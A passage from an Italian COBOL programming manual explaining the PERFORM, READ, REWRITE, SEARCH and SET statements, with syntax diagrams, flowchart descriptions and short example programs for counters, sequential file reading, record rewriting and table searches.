                                  .--  /            \              --.
                                  |    |  THROUGH   |                |
  PERFORM  procedure-name-1       |    <  -------   >  procedure-name-2  |
  -------                         |    |  THRU      |                |
                                  '--  \  ----      /              --'
           /                 \
           |  identifier-1   |
           <                 >  TIMES
           |  integer-1      |  -----
           \                 /
```

Aggiungendo allo schema già visto un numero intero, espresso sia in forma costante, sia attraverso una variabile, seguito dalla parola '**`TIMES`**', si intende ottenere a ripetizione della chiamata del gruppo di procedure indicato per quella quantità di volte.

Se il valore numerico indicato è pari a zero, oppure si tratta di un numero negativo, la chiamata delle procedure viene ignorata semplicemente.

83.12.15.3 Chiamata ripetuta con condizione di uscita

```
                               .--  /          \                  --.
                               |    |  THROUGH  |                   |
PERFORM  procedure-name-1      |    <  -------  >  procedure-name-2 |
-------                        |    |  THRU     |                   |
                               '--  \  ----     /                 --'

         UNTIL  condition-1
         -----
```

Quando nell'istruzione '**`PERFORM`**' compare la parola chiave '**`UNTIL`**', seguita da una condizione, si intende eseguire il gruppo di procedure indicate ripetutamente, fino a quando la condizione specificata restituisce il valore *Falso*.

La condizione di uscita viene verificata prima di eseguire ogni iterazione, pertanto, se risulta *Vero* all'inizio, le procedure non vengono eseguite.

Rispetto ai linguaggi di programmazione comuni, il COBOL attribuisce alla parola '**`UNTIL`**' un significato opposto, anche se logico: «si esegue il ciclo fino a quanto si verifica la condizione». Il problema è che nel senso comune ciò significa che il ciclo va ripetuto in quanto la condizione continua ad avverarsi, mentre secondo il senso del COBOL il ciclo va ripetuto fino a quando si verifica la condizione di uscita, nel senso che il verificarsi della condizione di uscita fa terminare il ciclo.

Figura 83.207. Diagramma di flusso dell'istruzione '**`PERFORM`**' iterativa con una condizione di uscita.

Inizio
la condizione di uscita si avvera?
vero
falso
esegue le procedure previste dalla chiamata
Fine

83.12.15.4 Chiamata ripetuta con condizione di uscita e incremento di contatori

```
                           .--  /           \                 --.
                           |    |  THROUGH  |                   |
PERFORM  procedure-name-1  |    <  -------  >  procedure-name-2 |
-------                    |    |  THRU     |                   |
                           `--  \  ----     /                 --'

                  /              \       / identifier-3 \      /              \
                  | identifier-2 |       |              |      | identifier-4 |
        VARYING   <              >  FROM < index-name-2 >  BY  <              >
        -------   | index-name-1 |  ---- |              |  --  | literal-2    |
                  \              /       \ literal-1    /      \              /

                 UNTIL  condition-1
                 -----
        /          /              \       / identifier-6 \      /              \ \
        |          | identifier-5 |       |              |      | identifier-7 | |
        |  AFTER   <              >  FROM < index-name-4 >  BY  <              > |
        <  -----   | index-name-3 |  ---- |              |  --  | literal-4    | >...
        |          \              /       \ literal-3    /      \              / |
        |                                                                        |
        \        UNTIL  condition-2                                              /
                 -----
```

Con l'aggiunta della parola chiave '**`VARYING`**', si intende gestire un contatore numerico (rappresentato nello schema da ***identifier-2*** o da ***index-name-1***, che pertanto può essere una variabile numerica o un indice di una tabella), specificando il valore di partenza dopo la parola

'**FROM**', l'incremento a ogni ciclo dopo la parola '**BY**' e la condizione di uscita dopo la parola '**UNTIL**'.

Possono essere gestiti più contatori, con un limite che dipende dal compilatore. A ogni modo, per aggiungere un contatore si usa la parola '**AFTER**', che ne introduce la descrizione, così come per la parola '**VARYING**'.

Il contatore che viene incrementato a ogni ciclo, è quello più interno, ovvero quello descritto dall'ultima parola '**AFTER**'. Quando per quel contatore si verifica la condizione di uscita, viene incrementato il contatore del livello precedente (la penultima parola '**AFTER**' o direttamente '**VARYING**' in mancanza di quella) e azzerato quello interno.

Il ciclo termina quando sono scattate tutte le condizioni di uscita dei vari contatori.

Il linguaggio non pone vincoli alla gestione dei contatori indicati nell'istruzione '**PERFORM**', che possono essere alterati durante l'esecuzione delle procedure chiamate dall'istruzione stessa e in qualche modo possono contaminarsi tra di loro. Sta evidentemente al programmatore evitare di creare confusione nel programma, osservando anche che la sequenza esatta delle operazioni di incremento e azzeramento dei contatori cambia leggermente da uno standard all'altro del linguaggio.

Figura 83.209. Diagramma di flusso dell'istruzione '**`PERFORM`**' iterativa con l'incremento di un solo contatore.

Figura 83.210. Diagramma di flusso dell'istruzione '**`PERFORM`**' iterativa con la gestione di due contatori.

L'esempio seguente mostra in modo molto semplice la gestione di tre contatori, che scandiscono valori interi da zero a due, senza fare nulla altro di particolare.

Listato 83.211. Programma chiama un paragrafo incrementando tre contatori.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-PERFORM.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-17.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
```

```
001100*
001200 WORKING-STORAGE SECTION.
001300 77  CONTATORE-1          PIC 99.
001400 77  CONTATORE-2          PIC 99.
001500 77  CONTATORE-3          PIC 99.
001600*
001700 PROCEDURE DIVISION.
001800*------------------------- LIVELLO 0 -----------------------------
001900 MAIN.
002000     PERFORM VISUALIZZA-CONTATORI
002100             VARYING CONTATORE-1 FROM 0 BY 1
002200                     UNTIL CONTATORE-1 >= 2,
002300             AFTER   CONTATORE-2 FROM 0 BY 1
002400                     UNTIL CONTATORE-2 >= 2,
002500             AFTER   CONTATORE-3 FROM 0 BY 1
002600                     UNTIL CONTATORE-3 >= 2.
002700*
002800     STOP RUN.
002900*------------------------- LIVELLO 1 -----------------------------
003000 VISUALIZZA-CONTATORI.
003100     DISPLAY CONTATORE-1, " ", CONTATORE-2, " ", CONTATORE-3.
003200*
```

Una volta compilato questo programma, avviando ciò che si ottiene, si può vedere il risultato seguente:

```
00 00 00
00 00 01
00 01 00
00 01 01
01 00 00
01 00 01
01 01 00
01 01 01
```

83.12.16 Istruzione «READ»

L'istruzione '**READ**' serve a ottenere un record logico da un file, che risulta essere già stato aperto, in modo tale da consentire la lettura ('**INPUT**' o '**I-O**'). Sono disponibili formati diversi per l'utilizzo di questa istruzione, che dipendono dall'organizzazione del file a cui si accede.

Organizzazione sequenziale, relativa e a indice

```
READ file-name [NEXT] RECORD  [ INTO identifier ]
----           ----              ----
    [ AT END  { imperative-statement }... ]
         ---
```

Organizzazione relativa

```
READ file-name RECORD  [ INTO identifier ]
----                     ----
    [ INVALID KEY { imperative-statement }... ]
      -------
```

Organizzazione a indice

```
READ file-name RECORD  [ INTO identifier ]
----                     ----
    [ KEY IS  data-name ]
      ---
    [ INVALID KEY { imperative-statement }... ]
      -------
```

In tutti gli schemi sintattici che riguardano l'istruzione '**READ**', si può vedere che viene indicato immediatamente il nome del file (già aperto) che si vuole leggere. Successivamente, appare una parola chiave opzionale, '**INTO**', che precede il nome di una variabile; se viene specificata questa informazione, si intende fare in modo che il record logico ottenuto dal file, oltre che essere disponibile nella variabile strutturata dichiarata appositamente per questo, dopo l'indicatore di livello '**FD**' relativo, sia anche copiato in un'altra variabile. Inoltre, le istruzioni imperative (***imperative-statement***) che si possono inserire dopo le parole '**AT END**' e '**INVALID KEY**', servono a dichiarare cosa deve fare il programma nel caso la lettura fallisca per qualche motivo.

Se il file che viene letto è associato a una variabile indicata con l'opzione '**FILE STATUS**' nell'istruzione '**SELECT**' (nella sezione '**FILE-CONTROL**' di '**ENVIRONMENT DIVISION**'), il valore di tale variabile viene aggiornato.

Nel caso di un file a cui si accede sequenzialmente, si applica il primo schema sintattico. In questo caso l'istruzione '**READ**' fornisce il record attuale e sposta in avanti il puntatore al record, in modo che una lettura successiva fornisca il prossimo record. Quando l'accesso è dinamico e si vuole leggere un file in modo sequenziale, occorre aggiungere l'opzione '**NEXT**', per richiedere espressamente l'avanzamento al record successivo.

Quando si accede sequenzialmente, oppure in modo dinamico ma specificando che si richiede il record successivo, si può verificare un errore che consiste nel tentativo di leggere oltre la fine del file. Se ciò accade e se è stata specificata l'opzione '**AT END**', vengono eseguite le istruzioni che seguono tali parole.

La lettura sequenziale di un file relativo, comporta l'aggiornamento del valore della «chiave relativa», ovvero di quanto specificato con la dichiarazione '**RELATIVE KEY**' dell'istruzione '**SELECT**'.

La lettura sequenziale può essere applicata anche a un file organizzato a indice; in tal caso, la sequenza di lettura corrisponde a quella della chiave principale.

Quando si accede in modo diretto ai record all'interno di un file relativo, si utilizza il secondo schema sintattico, per ottenere il record specificato dal numero contenuto nella variabile che funge da chiave (come specificato nell'istruzione '**SELECT**', attraverso la dichiarazione '**RELATIVE KEY**'). Se un record con quel numero non esiste, si verifica la condizione controllata dall'opzione '**INVALID KEY**' e il programma esegue le istruzioni che questa controlla.

Il terzo formato sintattico si usa per i file organizzati a indice, con accesso diretto, in base alla chiave specificata. La chiave in questione è quella primaria, salvo specificarla nell'istruzione '**READ**' con l'opzione '**KEY IS**'. La chiave cercata deve essere scritta in corrispondenza del campo che la contiene, all'interno del record dichiarato dopo l'indicatore di livello '**FD**' relativo al file, secondo le specifiche dell'istruzione '**SELECT**' ('**RECORD KEY**', o '**ALTERNATE RECORD KEY**'). Se la lettura avviene con successo, si ottiene il record che contiene quella chiave; altrimenti si verifica la condizione controllata dall'opzione '**INVALID KEY**' e le istruzioni relative vengono eseguite.

La lettura ad accesso diretto di un file a indice, consente di ottenere il primo record che soddisfa la corrispondenza con la chiave cercata; se sono presenti record con chiavi doppie, le altre corrispondenze devono essere raggiunte attraverso una lettura sequenziale.

Listato 83.216. Programma elementare che legge un file sequenziale, ad accesso sequenziale.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-READ-SEQ.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               TINYCOBOL 0.61,
000600               OPENCOBOL 0.31.
000700 DATE-WRITTEN. 2005-03-12.
000800*
000900 ENVIRONMENT DIVISION.
001000*
001100 INPUT-OUTPUT SECTION.
001200*
001300 FILE-CONTROL.
001400*
001500     SELECT FILE-DA-LEGGERE ASSIGN TO "input.seq"
001600                            ORGANIZATION IS SEQUENTIAL.
001700*
001800 DATA DIVISION.
001900*
002000 FILE SECTION.
002100*
002200 FD  FILE-DA-LEGGERE
002300     LABEL RECORD IS STANDARD.
002400*
002500 01  RECORD-DA-LEGGERE PIC X(30).
002600*
002700 WORKING-STORAGE SECTION.
002800 01  EOF               PIC 9   VALUE ZERO.
002900*
003000 PROCEDURE DIVISION.
003100*------------------------- LIVELLO 0 -----------------------------
003200 MAIN.
003300     OPEN INPUT FILE-DA-LEGGERE.
003400     READ FILE-DA-LEGGERE
003500          AT END
003600                MOVE 1 TO EOF.
003700     PERFORM LETTURA UNTIL EOF = 1.
003800     CLOSE FILE-DA-LEGGERE.
003900*
004000     STOP RUN.
004100*------------------------- LIVELLO 1 -----------------------------
004200 LETTURA.
004300     DISPLAY RECORD-DA-LEGGERE.
004400     READ FILE-DA-LEGGERE
004500          AT END
004600                MOVE 1 TO EOF.
004700*
```

Listato 83.217. Programma elementare che legge un file sequenziale, ad accesso dinamico. Le differenze rispetto all'esempio precedente sono evidenziate.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-READ-DYN.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               TINYCOBOL 0.61,
000600               OPENCOBOL 0.31.
000700 DATE-WRITTEN. 2005-03-12.
000800*
000900 ENVIRONMENT DIVISION.
001000*
001100 INPUT-OUTPUT SECTION.
001200*
001300 FILE-CONTROL.
001400*
001500     SELECT FILE-DA-LEGGERE ASSIGN TO "input.seq"
001600                            ORGANIZATION IS SEQUENTIAL
001700                            ACCESS MODE IS DYNAMIC.
001800*
001900 DATA DIVISION.
002000*
002100 FILE SECTION.
002200*
002300 FD  FILE-DA-LEGGERE
002400     LABEL RECORD IS STANDARD.
002500*
002600 01  RECORD-DA-LEGGERE PIC X(30).
002700*
002800 WORKING-STORAGE SECTION.
002900 01  EOF               PIC 9   VALUE ZERO.
003000*
003100 PROCEDURE DIVISION.
003200*------------------------- LIVELLO 0 -----------------------------
003300 MAIN.
003400     OPEN INPUT FILE-DA-LEGGERE.
003500     READ FILE-DA-LEGGERE
003600          AT END
003700                MOVE 1 TO EOF.
003800     PERFORM LETTURA UNTIL EOF = 1.
003900     CLOSE FILE-DA-LEGGERE.
004000*
004100     STOP RUN.
004200*------------------------- LIVELLO 1 -----------------------------
004300 LETTURA.
004400     DISPLAY RECORD-DA-LEGGERE.
004500     READ FILE-DA-LEGGERE NEXT RECORD
004600          AT END
004700                MOVE 1 TO EOF.
004800*
```

83.12.17 Istruzione «REWRITE»

L'istruzione '**REWRITE**' consente si sovrascrivere un record logico all'interno di un file, purché questo risieda all'interno di un'unità che consente un accesso diretto ai dati (le unità sequenziali come i nastri sono escluse). Per utilizzare l'istruzione '**REWRITE**' il file deve essere stato aperto in lettura e scrittura ('**I-O**'); inoltre, il record deve avere una dimensione fissa.

File organizzati in modo sequenziale

```
REWRITE record-name  [ FROM identifier ]
-------                ----
```

File organizzati in modo da consentire un accesso diretto

```
REWRITE record-name  [ FROM identifier ]
-------                ----
    [ INVALID KEY { imperative-statement }... ]
      -------
```

Gli schemi sintattici mostrati hanno in comune la prima parte: il nome della variabile che fa riferimento al record, serve a individuare implicitamente il file a cui si fa riferimento; la variabile indicata dopo la parola '**FROM**', permette di copiare tale variabile su quella del record, prima di procedere alla sovrascrittura, come se si usasse l'istruzione '**MOVE**' prima di '**REWRITE**':

```
MOVE identifier TO record-name;
----
REWRITE record-name
-------
    [ INVALID KEY { imperative-statement }... ]
      -------
```

Quando si utilizza l'istruzione '**REWRITE**' con un file aperto in modo sequenziale, prima è necessario che sia stata eseguita una lettura del record che si vuole sovrascrivere; la lettura implica la selezione del record. Nel caso particolare di un accesso sequenziale a un file con indice, oltre che leggere preventivamente il record da sovrascrivere, occorre accertarsi che la riscrittura mantenga la stessa chiave, altrimenti la riscrittura non avviene e si attiva invece l'opzione '**INVALID KEY**' (con l'esecuzione delle istruzioni che questa controlla). Oltre a questo, se il file prevede l'esistenza di una chiave secondaria e non sono ammesse chiavi doppie, se il record da sovrascrivere contiene una chiave secondaria già esistente in un altro, si ottiene, anche in questo caso, l'attivazione dell'opzione '**INVALID KEY**'.

Quando l'istruzione '**REWRITE**' si applica a file aperti attraverso un accesso diretto, dinamico o con chiave, la sovrascrittura non richiede più di procedere prima a una lettura del record, perché è sufficiente indicarlo tramite il numero ('**RELATIVE KEY**') oppure attraverso la chiave primaria. In tal caso, la condizione '**INVALID KEY**' si verifica quando il numero del record o la chiave primaria non corrispondono a nulla di già esistente nel file. Nel caso particolare dei file con indice, la condizione '**INVALID KEY**' si avvera anche quando, non essendo previste chiavi doppie, si tenta di modificare un record, immettendo però una chiave secondaria (non quella primaria) già esistente in un altro.

Listato 83.221. Programma elementare che legge un file sequenziale, ad accesso sequenziale, che quando incontra un record contenente lettere «A», lo sostituisce con lettere «Z».

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-READ-SEQ-REWRITE.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               TINYCOBOL 0.61,
000600               OPENCOBOL 0.31.
000700 DATE-WRITTEN. 2005-03-12.
000800*
000900 ENVIRONMENT DIVISION.
001000*
001100 INPUT-OUTPUT SECTION.
001200*
001300 FILE-CONTROL.
001400*
001500     SELECT FILE-DA-MODIFICARE ASSIGN TO "input.seq"
001600                               ORGANIZATION IS SEQUENTIAL.
001700*
001800 DATA DIVISION.
001900*
002000 FILE SECTION.
002100*
002200 FD  FILE-DA-MODIFICARE
002300     LABEL RECORD IS STANDARD.
002400*
002500 01  RECORD-DA-MODIFICARE PIC X(30).
002600*
002700 WORKING-STORAGE SECTION.
002800 01  EOF                PIC 9   VALUE ZERO.
002900*
003000 PROCEDURE DIVISION.
003100*------------------------- LIVELLO 0 -----------------------------
003200 MAIN.
003300     OPEN I-O FILE-DA-MODIFICARE.
003400     READ FILE-DA-MODIFICARE
003500          AT END
003600                MOVE 1 TO EOF.
003700     PERFORM LETTURA-RISCRITTURA UNTIL EOF = 1.
003800     CLOSE FILE-DA-MODIFICARE.
003900*
004000     STOP RUN.
004100*------------------------- LIVELLO 1 -----------------------------
004200 LETTURA-RISCRITTURA.
004300     IF RECORD-DA-MODIFICARE = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004400     THEN
004500         MOVE "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
004600              TO RECORD-DA-MODIFICARE,
004700         REWRITE RECORD-DA-MODIFICARE.
004800     READ FILE-DA-MODIFICARE
004900          AT END
005000                MOVE 1 TO EOF.
```

```
005100*
```

83.12.18 Istruzione «SEARCH»

L'istruzione '**SEARCH**' scandisce una tabella alla ricerca di un elemento che soddisfi una condizione, più o meno articolata, posizionando l'indice della tabella stessa in corrispondenza dell'elemento trovato. Sono disponibili due schemi sintattici: il primo serve per scandire le tabelle in modo sequenziale; il secondo serve per scandire delle tabelle ordinate, attraverso una ricerca binaria.

Ricerca sequenziale

```
                         .--          /                 \ --.
                         |            |  identifier-2   |   |
SEARCH  identifier-1     |  VARYING   <                 >   |
------                   |  -------   |  index-name-1   |   |
                         `--          \                 / --'
    [ AT END  { imperative-statement-1 }... ]
         ---
    /                    /                                \  \
    |                    |  { imperative-statement-2 }... |  |
    <  WHEN  condition-1 <                                >  >...
    |  ----              |  NEXT SENTENCE                 |  |
    \                    \  ---- --------                 /  /
```

Ricerca binaria per tabelle ordinate

```
SEARCH ALL  identifier-1  [ AT END  { imperative-statement-1 }... ]
------ ---                     ---
                         /                                \
                         |  { imperative-statement-2 }... |
    WHEN  condition-1    <                                >
    ----                 |  NEXT SENTENCE                 |
                         \  ---- --------                 /
```

In entrambi i formati di utilizzo dell'istruzione '**SEARCH**', la variabile indicata come ***identifier-1*** deve essere stata dichiarata con l'opzione '**OCCURS**' e con l'opzione '**INDEXED BY**' (pertanto è obbligatorio che gli sia stato attribuito un indice in modo esplicito). Nel caso del secondo formato, che si utilizza per una ricerca binaria, è obbligatorio che la variabile indicata come ***identifier-1*** sia stata dichiarata con l'opzione '**KEY IS**', che sta a specificare il fatto che la tabella è ordinata in base a una certa chiave.

L'opzione '**AT END**' di entrambi gli schemi sintattici precede una o più istruzioni da eseguire nel caso la ricerca fallisca.

La parola chiave '**WHEN**' precede una condizione, che deve essere soddisfatta per lo scopo della ricerca, dopo la quale vengono eseguite le istruzioni successive (***imperative-statement-2***). Quando la scansione avviene in modo sequenziale, secondo il primo formato, la condizione può essere espressa in modo abbastanza libero, inoltre si possono indicare condizioni differenti e gruppi diversi di istruzioni da eseguire; quando invece la ricerca avviene in modo ordinato (ricerca binaria), ci può essere una sola condizione, che verifichi la corrispondenza della chiave con il valore cercato (se ci sono chiavi secondarie, si combinano le condizioni con l'operatore '**AND**').

La condizione di una ricerca in una tabella ordinata (ricerca binaria) deve rispettare i limiti dello schema sintattico seguente, dove le metavariabili ***data-name*** sono le chiavi di ordinamento, che vanno indicate con gli indici necessari:

```
/               /                \  /  identifier-3        \  \
|               |  IS EQUAL TO   |  |                      |  |
|  data-name-1  <     -----      >  <  literal-1           >  |
<               |  IS =          |  |                      |  >
|               \     -          /  \  arith-expression-1  /  |
|                                                             |
\  condition-name-1                                           /

    .--                                                          --.
    |      /            /             \ / identifier-4       \ \   |
    |      |            | IS EQUAL TO | |                    | |   |
    |      | data-name-2 <    -----   > < literal-2          > |   |
    |  AND <            | IS =        | |                    | >   |...
    |  --- |            \    -        / \ arith-expression-2 / |   |
    |      |                                                   |   |
    |      \ condition-name-2                                  /   |
    '--                                                          --'
```

83.12.18.1 Ricerca sequenziale

La ricerca sequenziale con l'istruzione '**`SEARCH`**', inizia dal valore che si trova già ad avere l'indice, proseguendo fino a soddisfare una delle condizioni, oppure fino alla fine degli elementi. Pertanto, se l'indice dovesse avere un valore maggiore del numero degli elementi della tabella, l'istruzione terminerebbe immediatamente.

L'istruzione '**`SEARCH`**', usata per una ricerca sequenziale, esegue un ciclo di verifiche delle condizioni poste, quindi incrementa l'indice della tabella e ricomincia i confronti, fino a quando si avvera una delle condizioni, oppure quando la tabella non ha più elementi. Oltre a incrementare l'indice della tabella, può incrementare un altro indice, di un'altra tabella, o semplicemente una variabile numerica, attraverso l'uso dell'opzione '**`VARYING`**'.

Tradizionalmente, il funzionamento dell'istruzione '**`SEARCH`**', quando si usa per una scansione sequenziale di una tabella, lo si descrive attraverso un diagramma di flusso, nel quale si immagina di utilizzare due condizioni controllate dalla parola '**`WHEN`**', come si vede nella figura 83.225.

Figura 83.225. Esecuzione dell'istruzione '**`SEARCH`**' secondo il formato per la scansione sequenziale. Si mette in evidenza l'uso di due parole '**`WHEN`**' e si può comprendere come sarebbe con l'aggiunta di altre condizioni del genere.

Inizio
l'indice della
tabella non viene
modificato

il valore
dell'indice della tabella
è maggiore della dimensione
della tabella stessa?

vero

istruzioni controllate
dall'opzione
AT END

falso

si avvera
la condizione che
segue il primo
WHEN
?

vero

istruzioni controllate
dalla prima parola
WHEN

falso

si avvera
la condizione che
segue il secondo
WHEN
?

vero

istruzioni controllate
dalla seconda parola
WHEN

falso

Incrementa l'indice
della tabella

Incrementa l'indice
o la variabile specificato
dopo la parola
VARIYNG

Fine

Viene mostrato l'esempio di un programma completo che inizia con l'inserimento di dati all'interno di una tabella, quindi esegue una ricerca sequenziale al suo interno:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.    TEST-SEARCH.
000300 AUTHOR.        DANIELE GIACOMINI.
```

```
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-12.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 01  RECORD-UTENTI.
001400     02  UTENTE           OCCURS 60 TIMES
001500                          INDEXED BY IND-UTENTE.
001600         03  COGNOME      PIC X(30).
001700         03  NOME         PIC X(30).
001800         03  NOTA         PIC X(200).
001900 77  EOJ                  PIC 9   VALUE ZERO.
002000 77  RISPOSTA             PIC XX.
002100 77  RICERCA              PIC X(30).
002200*
002300 PROCEDURE DIVISION.
002400*------------------------- LIVELLO 0 -----------------------------
002500 MAIN.
002600     PERFORM INSERIMENTO-DATI
002700             VARYING IND-UTENTE FROM 1 BY 1
002800             UNTIL EOJ = 1.
002900     MOVE 0 TO EOJ.
003000     PERFORM SCANSIONE UNTIL EOJ = 1.
003100*
003200     STOP RUN.
003300*------------------------- LIVELLO 1 -----------------------------
003400 INSERIMENTO-DATI.
003500     DISPLAY IND-UTENTE, " INSERISCI IL COGNOME: ".
003600     ACCEPT COGNOME (IND-UTENTE).
003700     DISPLAY IND-UTENTE, " INSERISCI IL NOME: ".
003800     ACCEPT NOME (IND-UTENTE).
003900     DISPLAY IND-UTENTE, " INSERISCI UNA NOTA DESCRITTIVA: ".
004000     ACCEPT NOTA (IND-UTENTE).
004100*
004200     IF IND-UTENTE >= 60
004300       THEN
004400           MOVE 1 TO EOJ;
004500       ELSE
004600           DISPLAY "VUOI CONTINUARE? SI O NO",
004700           ACCEPT RISPOSTA;
004800           IF RISPOSTA = "SI"
004900             THEN
005000                 NEXT SENTENCE;
005100             ELSE
005200                 MOVE 1 TO EOJ.
005300*-----------------------------------------------------------------
005400 SCANSIONE.
005500     DISPLAY "INSERISCI IL COGNOME DA CERCARE:".
005600     ACCEPT RICERCA.
```

```
005700     IF RICERCA = SPACES
005800       THEN
005900           MOVE 1 TO EOJ;
006000       ELSE
006100           SET IND-UTENTE TO 1,
006200           SEARCH UTENTE
006300                 AT END
006400                       DISPLAY "IL COGNOME CERCATO ",
006500                               "NON SI TROVA NELLA TABELLA: ",
006600                               QUOTE RICERCA QUOTE;
006700                 WHEN COGNOME (IND-UTENTE) = RICERCA
006800                     DISPLAY "IL COGNOME ", RICERCA,
006900                             "SI TROVA NELLA POSIZIONE ",
007000                             IND-UTENTE.
007100*
```

Nell'esempio sono evidenziate le righe in cui si dichiara la tabella e quelle che eseguono la scansione. Si deve osservare che prima dell'istruzione '**SEARCH**', l'indice deve essere collocato manualmente nella posizione iniziale.

83.12.18.2 Ricerca in una tabella ordinata

La ricerca che si esegue con l'istruzione '**SEARCH ALL**' richiede che si rispettino alcune condizioni:

- i dati contenuti nella tabella devono risultare ordinati come previsto dalle chiavi già dichiarate;
- i dati contenuti nella tabella devono risultare tutti validi;
- le chiavi a cui si fa riferimento nella condizione di ricerca devono essere sufficienti a raggiungere l'informazione in modo univoco.

È importante considerare correttamente il problema dei dati validi: quando una tabella deve ricevere una quantità imprecisata di dati in elementi separati, questa deve essere stata dichiarata in modo abbastanza grande da poter contenere tutto, ma così facendo si ha la certezza di avere una serie di celle vuote alla fine della tabella stessa. Per evitare che la scansione di ricerca tenga conto anche delle celle vuote, si dichiara la tabella con una quantità «variabile» di celle (con l'opzione '**OCCURS *m* TO *n* TIMES, DEPENDING ON *identifier***'). In realtà, più che trattarsi di una tabella che ha veramente una quantità variabile di celle, si fa in modo di stabilire qual è la dimensione massima, attraverso il controllo di una variabile apposita.

Dato il tipo di ricerca, non fa alcuna differenza il valore iniziale dell'indice della tabella.

L'esempio seguente mostra una variante del programma già descritto a proposito della ricerca sequenziale, modificato in modo da sfruttare una ricerca binaria. Si osservi che non è più necessario impostare il valore iniziale dell'indice, prima della scansione.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-SEARCH-KEY.
000300 AUTHOR.       DANIELE GIACOMINI.
```

```
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-12.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 01  RECORD-UTENTI.
001400     02  UTENTE           OCCURS 1 TO 60 TIMES
001500                          DEPENDING ON UTENTI-MAX
001600                          ASCENDING KEY IS COGNOME
001700                          INDEXED BY IND-UTENTE.
001800         03  COGNOME      PIC X(30).
001900         03  NOME         PIC X(30).
002000         03  NOTA         PIC X(200).
002100 77  UTENTI-MAX           USAGE IS INDEX.
002200 77  EOJ                  PIC 9   VALUE ZERO.
002300 77  RISPOSTA             PIC XX.
002400 77  RICERCA              PIC X(30).
002500*
002600 PROCEDURE DIVISION.
002700*------------------------- LIVELLO 0 -----------------------------
002800 MAIN.
002900     PERFORM INSERIMENTO-DATI
003000             VARYING IND-UTENTE FROM 1 BY 1
003100             UNTIL EOJ = 1.
003200     MOVE 0 TO EOJ.
003300     PERFORM SCANSIONE UNTIL EOJ = 1.
003400*
003500     STOP RUN.
003600*------------------------- LIVELLO 1 -----------------------------
003700 INSERIMENTO-DATI.
003800     MOVE IND-UTENTE TO UTENTI-MAX.
003900     DISPLAY IND-UTENTE, " INSERISCI IL COGNOME: ".
004000     ACCEPT COGNOME (IND-UTENTE).
004100     DISPLAY IND-UTENTE, " INSERISCI IL NOME: ".
004200     ACCEPT NOME (IND-UTENTE).
004300     DISPLAY IND-UTENTE, " INSERISCI UNA NOTA DESCRITTIVA: ".
004400     ACCEPT NOTA (IND-UTENTE).
004500*
004600     IF IND-UTENTE >= 60
004700       THEN
004800           MOVE 1 TO EOJ;
004900       ELSE
005000           DISPLAY "VUOI CONTINUARE? SI O NO",
005100           ACCEPT RISPOSTA;
005200           IF RISPOSTA = "SI"
005300             THEN
005400                 NEXT SENTENCE;
005500             ELSE
005600                 MOVE 1 TO EOJ.
```

```
005700*------------------------------------------------------------
005800 SCANSIONE.
005900     DISPLAY "INSERISCI IL COGNOME DA CERCARE:".
006000     ACCEPT RICERCA.
006100     IF RICERCA = SPACES
006200       THEN
006300           MOVE 1 TO EOJ;
006400       ELSE
006600           SEARCH ALL UTENTE
006700                 AT END
006800                       DISPLAY "IL COGNOME CERCATO ",
006900                               "NON SI TROVA NELLA TABELLA: ",
007000                               QUOTE RICERCA QUOTE;
007100                 WHEN COGNOME (IND-UTENTE) = RICERCA
007200                     DISPLAY "IL COGNOME ", RICERCA,
007300                             "SI TROVA NELLA POSIZIONE ",
007400                             IND-UTENTE.
007500*
```

83.12.19 Istruzione «SET»

L'istruzione '**SET**' permette di attribuire un valore all'indice di una tabella; valore inteso come la posizione all'interno della stessa. Sono disponibili due schemi sintattici: attraverso il primo si attribuisce una posizione determinata; con il secondo si incrementa o si decrementa l'indice di una certa quantità di posizioni.

```
     /                \          / index-name-2 \
     | index-name-1 |          |                |
SET  <                >...  TO  < identifier-2 >
---  | identifier-1 |      --  |                |
     \                /          \ integer-1    /
```

Oppure:

```
                           /        \      /              \
                           |  UP    |      | identifier-3 |
SET  { index-name-3 }...  <   --     >  BY  <               >
---                        |  DOWN  |  --  | integer-2    |
                           \  ----  /      \              /
```

In entrambi gli schemi sintattici, la variabile o le variabili indicate subito dopo la parola chiave '**SET**', sono quelle che rappresentano l'indice di una tabella e devono essere modificate. Nel primo caso, si intende assegnare loro il valore indicato o rappresentato dopo la parola chiave '**TO**', mentre nel secondo caso, l'indice viene incrementato ('**UP**') o diminuito ('**DOWN**') del valore posto dopo la parola chiave '**BY**'.

Quando nell'istruzione si usa una costante numerica, o una variabile numerica normale, deve trattarsi di un valore intero, che può essere senza segno, oppure può avere un segno positivo, con l'eccezione del caso dell'incremento o decremento dell'indice (nel secondo schema), dove può avere senso anche un segno negativo.

Nel primo schema sintattico, non sono ammesse tutte le combinazioni, rispetto a quando sembrerebbe dallo schema stesso. Per prima cosa, il valore che si attribuisce all'indice, deve essere valido nell'ambito della tabella a cui si riferisce; inoltre, valgono gli abbinamenti dello schema successivo. Nello schema si distingue tra variabili intere normali, variabili di tipo indice associate a una tabella e variabili di tipo indice indipendenti.

Tabella 83.230. Combinazioni degli operandi nell'istruzione '**SET**'.

